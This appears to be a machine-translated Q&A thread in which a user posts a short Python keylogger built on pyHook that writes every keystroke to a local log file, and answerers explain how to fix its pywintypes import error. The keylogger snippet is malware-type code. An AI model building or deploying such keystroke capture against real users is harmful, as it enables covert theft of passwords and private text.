2013-09-20 2 views
8

Я работаю над созданием небольшого кейлоггера с Python с помощью модулей pyHook, pythoncom и Pywin32. Вот мой код:ImportError: Нет модуля с именем pywintypes

import pyHook, pythoncom, sys, logging 

file_log = 'C:\\important\\log.txt' 

def OnKeyboardEvent (event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10, chr(Event.Ascii)) 
    return True 
hooks_manager=pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

Когда он работает, он возвращает сообщение об ошибке:

File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module> 
    import pywintypes 
ImportError: No module named pywintypes 

Как исправить эту ошибку?

ответ

14

pywintypes является частью Python for Windows extensions, известного как pywin32. Вам необходимо установить это, чтобы получить доступ к pywintypes.

Обратите внимание, что на момент написания настоящего письма pywin32 не загружал файлы в PyPI, поэтому вам необходимо получить соответствующую версию установщика от http://pywin32.sf.net.

+7

пришлось использовать 'пункт установить pypiwin32' – Elric

+0

@Elric отметить, что на момент написания статьи , есть только файлы для 3.6 для 'pypiwin32', поэтому команда будет успешной только для этой конкретной версии. –

7

pip install pypiwin32 работал для меня

1

Просто добавьте pythoncom34.dll и pywintypes34.dll к вашему C: \ Python34 \

+0

Очень управляемый. –

 Смежные вопросы

  • Нет связанных вопросов^_^